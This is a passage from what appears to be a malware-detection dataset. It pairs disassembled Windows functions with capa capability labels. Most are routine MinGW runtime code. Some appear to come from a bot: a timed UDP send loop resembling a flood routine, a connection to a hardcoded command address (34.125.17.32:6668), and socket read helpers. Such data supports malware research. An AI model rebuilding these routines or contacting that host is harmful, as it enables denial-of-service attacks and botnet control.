joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4d19f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d2ad0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d23f2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f4108]
test eax, eax
je 0x2fc4d248a
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f4110]
mov qword [rbp - 8], rax
jmp 0x2fc4d246e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d2462
cmp qword [rbp - 0x10], 0
je 0x2fc4d2462
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d2428
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d248b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d2590
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d25b8
mov eax, 0
jmp 0x2fc4d2606
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d25e1
mov eax, 0
jmp 0x2fc4d2606
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d2601
mov eax, 0
jmp 0x2fc4d2606
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d6a80
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d7b60
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d7482
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fa108]
test eax, eax
je 0x2fc4d751a
lea rax, [0x2fc4fa0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fa110]
mov qword [rbp - 8], rax
jmp 0x2fc4d74fe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d74f2
cmp qword [rbp - 0x10], 0
je 0x2fc4d74f2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d74b8
lea rax, [0x2fc4fa0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d751b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d7620
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d7648
mov eax, 0
jmp 0x2fc4d7696
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d7671
mov eax, 0
jmp 0x2fc4d7696
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d7691
mov eax, 0
jmp 0x2fc4d7696
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d769c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d771a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d7711
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d7711
mov rax, qword [rbp - 8]
jmp 0x2fc4d772f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d76e4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400290fc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c6f4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c6f4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002924c
cmp rax, 0xffffffffffffffff
je 0x14002924c
xor edi, edi
test rbp, rbp
jle 0x1400291f7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f008
mov rbx, rax
test rax, rax
jne 0x140029184
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400291ed
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a028
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d3d0
cmp eax, 0xffffffff
je 0x1400291cd
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029194
mov edx, r15d
mov ecx, r14d
call fcn.14001a028
jmp 0x1400291ed
cmp byte [rsi + 0x38], dil
je 0x1400291e4
cmp dword [rsi + 0x34], 5
jne 0x1400291e4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1400291ed
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001adbc
jmp 0x140029260
jns 0x140029260
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c6f4
cmp rax, 0xffffffffffffffff
jne 0x140029218
cmp byte [rsi + 0x30], dil
je 0x140029260
mov edi, dword [rsi + 0x2c]
jmp 0x140029260
mov ecx, r14d
call fcn.1400184e0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029260
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029260
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029259
mov eax, dword [rsi + 0x2c]
jmp 0x14002925e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c6f4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180003290
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x1800032b8
xor eax, eax
lea r8, [0x180003050]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x1409e6d01
Capabilities:
Encode data using base64

Disassembly:
call fcn.1409de173
movzx ebp, byte [rsi + rbp - 0x479d9f31]
xor bpl, bl
ror bpl, 1
mov qword [rsp], 0xffffffffabb1c29e
neg word [rsp + 3]
sbb bpl, 0xa
ror bpl, 1
push 0x65303907
sar qword [rsp + 3], 0xa
sbb bpl, 0x96
ror bpl, 1
not bpl
sub dword [rsp + 7], 0xb58eca93
xor bl, bpl
not qword [rsp + 1]
inc word [rsp + 9]
lea rbp, [rsp + rbp + 0x10]
mov dword [rbp + riz], edi
jge 0x1409d7718

Function at 0x1409e6d5d
Capabilities:
Encode data using base64

Disassembly:
jnp 0x1409d2eab
sub al, 0x3f
add qword [rsp + 4], 0x753fac2e
jns 0x1409cf444
mov qword [rsp], 0xffffffffb396e10d
rol al, 1
inc dword [rsp + 9]
jne 0x1409d112e
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0040c380]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x0040c390]
mov dword [rax], 1
mov rax, qword [0x0040c3a0]
mov dword [rax], 1
mov rax, qword [0x0040c320]
cmp word [rax], 0x5a4d
jne 0x40105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x0040c370]
mov dword [0x0040f020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x0040c450]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x0040c430]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x0040c2d0]
cmp dword [rax], 1
je 0x4010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401110
cmp dx, 0x20b
jne 0x40105a
cmp dword [rax + 0x84], 0xe
jbe 0x40105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x40105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x40105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x40105a
Function at 0x4015a6
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0xac0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa60], rcx
mov dword [rbp + 0xa68], edx
mov dword [rbp + 0xa70], r8d
mov r8d, 0
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0xa38], eax
mov ecx, 0
call sym.time
mov qword [rbp + 0xa30], rax
mov rax, qword [rbp + 0xa60]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xa28], rax
lea rax, [rbp + 0xa10]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0xa28]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0xa28]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp + 0xa10]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memmove
mov rax, qword [rbp + 0xa28]
movzx eax, word [rax + 0x10]
mov word [rbp + 0xa10], ax
mov eax, dword [rbp + 0xa68]
mov word [rbp + 0xa12], ax
mov dword [rbp + 0xa3c], 0
lea rax, [rbp + 0x870]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jne 0x40181a
mov r8d, 0x11
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0xa38], eax
cmp dword [rbp + 0xa38], 0xffffffff
jne 0x4016df
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x40181b
mov rax, qword [rbp + 0xa60]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xa28], rax
cmp qword [rbp + 0xa28], 0
jne 0x401725
mov eax, dword [rbp + 0xa38]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x40181b
lea rax, [rbp - 0x60]
lea rdx, [0x0040a020]
mov ecx, 0x11a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
call sym.rand
movsxd rcx, eax
movabs rdx, 0xe865ac7b7603a197
mov rax, rcx
mul rdx
mov rax, rdx
shr rax, 8
imul rdx, rax, 0x11a
mov rax, rcx
sub rax, rdx
mov rax, qword [rbp + rax*8 - 0x60]
mov qword [rbp + 0xa20], rax
cmp dword [rbp + 0xa3c], 0x31
jbe 0x40180e
mov eax, dword [rbp + 0xa38]
cdqe
mov rdx, qword [rbp + 0xa20]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0xa38]
cdqe
lea rdx, [rbp + 0xa10]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov ecx, 0
call sym.time
mov edx, dword [rbp + 0xa70]
movsxd rcx, edx
mov rdx, qword [rbp + 0xa30]
add rdx, rcx
cmp rax, rdx
jl 0x401804
mov eax, dword [rbp + 0xa38]
mov ecx, eax
call sym.close
mov ecx, 0
call sym._exit
mov dword [rbp + 0xa3c], 0
add dword [rbp + 0xa3c], 1
jmp 0x401725
nop
add rsp, 0xac0
pop rsi
pop rdi
pop rbp
ret
Function at 0x4019bc
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x210], r8d
mov eax, dword [rbp + 0x210]
movsxd rdx, eax
mov rax, qword [rbp + 0x208]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x48], 0x1e
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1ec], 0
jmp 0x401a40
mov eax, dword [rbp + 0x1ec]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x401a4b
add dword [rbp + 0x1ec], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jb 0x401a21
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jne 0x401a7b
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x401a7b
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
lea ecx, [rax + 1]
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x1d0], eax
cmp dword [rbp + 0x1d0], 0
jg 0x401b93
jmp 0x401b83
mov dword [rbp - 0x48], 0x1e
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1e4], 0
jmp 0x401b02
mov eax, dword [rbp + 0x1e4]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x401b0d
add dword [rbp + 0x1e4], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1e4], eax
jb 0x401ae3
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1e4], eax
jne 0x401b3d
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x401b3d
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1e4]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
lea ecx, [rax + 1]
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x1d0], eax
cmp dword [rbp + 0x1d0], 0
jg 0x401b92
add dword [rbp + 0x1e8], 1
nop
cmp dword [rbp + 0x1e8], 9
jle 0x401ac2
jmp 0x401b93
nop
mov dword [rbp + 0x1d4], 0
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x1d8], rax
jmp 0x401c0e
mov eax, dword [0x0040f040]
cdqe
lea rdx, [rbp - 0x49]
mov r9d, 0
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cmp eax, 1
je 0x401be7
mov rax, qword [rbp + 0x1d8]
mov byte [rax], 0
mov eax, 0xffffffff
jmp 0x401c35
mov rax, qword [rbp + 0x1d8]
lea rdx, [rax + 1]
mov qword [rbp + 0x1d8], rdx
movzx edx, byte [rbp - 0x49]
mov byte [rax], dl
movzx eax, byte [rbp - 0x49]
cmp al, 0xa
je 0x401c24
add dword [rbp + 0x1d4], 1
mov eax, dword [rbp + 0x210]
lea edx, [rax - 1]
mov dword [rbp + 0x210], edx
cmp eax, 1
jg 0x401bad
jmp 0x401c25
nop
mov rax, qword [rbp + 0x1d8]
mov byte [rax], 0
mov eax, dword [rbp + 0x1d4]
add rsp, 0x270
pop rbp
ret
Function at 0x401fd3
Capabilities:
Connect socket
Convert ip address from string
Get socket status

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x210], r8d
mov dword [rbp + 0x218], r9d
mov word [rbp + 0x1d0], 2
mov eax, dword [rbp + 0x210]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x1d2], ax
lea rax, [rbp + 0x1d0]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x208]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
lea rax, [rbp + 0x1d0]
add rax, 8
mov r8d, 8
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x200]
cdqe
lea rdx, [rbp + 0x1d0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x1e8], eax
cmp dword [rbp + 0x1e8], 0
jns 0x4021b0
mov rax, qword [sym.imp.msvcrt.dll__errno]
call rax
mov eax, dword [rax]
cmp eax, 0x70
jne 0x4021a9
mov eax, dword [rbp + 0x218]
mov dword [rbp - 0x48], eax
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1ec], 0
jmp 0x4020f0
mov eax, dword [rbp + 0x1ec]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x4020fb
add dword [rbp + 0x1ec], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jb 0x4020d1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jne 0x40212b
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x40212b
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
add eax, 1
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
test eax, eax
jle 0x4021a2
mov dword [rbp - 0x4c], 4
mov eax, dword [rbp + 0x200]
cdqe
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x4c]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x1007
mov edx, pe_overlay
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getsockopt]
call rax
mov eax, dword [rbp - 0x50]
test eax, eax
je 0x4021b0
mov eax, 0
jmp 0x4021b5
mov eax, 0
jmp 0x4021b5
mov eax, 0
jmp 0x4021b5
mov eax, 1
add rsp, 0x270
pop rbp
ret
Function at 0x4021be
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push rbp
sub rsp, 0x230
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x60]
mov r8d, 0x200
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [0x0040f040]
test eax, eax
je 0x402206
mov eax, dword [0x0040f040]
mov ecx, eax
call sym.close
mov dword [0x0040f040], 0
mov eax, dword [0x0040a8f8]
test eax, eax
jne 0x40221c
mov dword [0x0040a8f8], 0
jmp 0x40222b
mov eax, dword [0x0040a8f8]
add eax, 1
mov dword [0x0040a8f8], eax
mov eax, dword [0x0040a8f8]
cdqe
lea rdx, [rax*8]
lea rax, str.34.125.17.32:6668
mov rdx, qword [rdx + rax]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcpy
mov dword [rbp + 0x1ac], 0x1b46
lea rax, [rbp - 0x60]
mov edx, 0x3a
mov rcx, rax
call sym.strchr
test rax, rax
je 0x4022a9
lea rax, [rbp - 0x60]
mov edx, 0x3a
mov rcx, rax
call sym.strchr
add rax, 1
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x1ac], eax
lea rax, [rbp - 0x60]
mov edx, 0x3a
mov rcx, rax
call sym.strchr
mov byte [rax], 0
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [0x0040f040], eax
mov eax, dword [0x0040f040]
mov ecx, dword [rbp + 0x1ac]
lea rdx, [rbp - 0x60]
mov r9d, 0x1e
mov r8d, ecx
mov ecx, eax
call sym.connectTimeout
test eax, eax
jne 0x4022f3
mov eax, 1
jmp 0x4022f8
mov eax, 0
add rsp, 0x230
pop rbp
ret
Function at 0x402a30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x402aa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004130f4]
test esi, esi
mov rbx, rcx
jle 0x402bd0
mov rax, qword [0x004130f8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x402aeb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x402b75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x402ad0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x402bf2
mov rax, qword [0x004130f8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x004130f8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402bd7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x402b6e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x402b80
add dword [0x004130f4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x004130f8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402b6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x402af8
mov rax, qword [0x004130f8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x403190
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x00413160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00413140]
test rbx, rbx
je 0x4031ec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x4031e3
test eax, eax
jne 0x4031e3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4031c8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]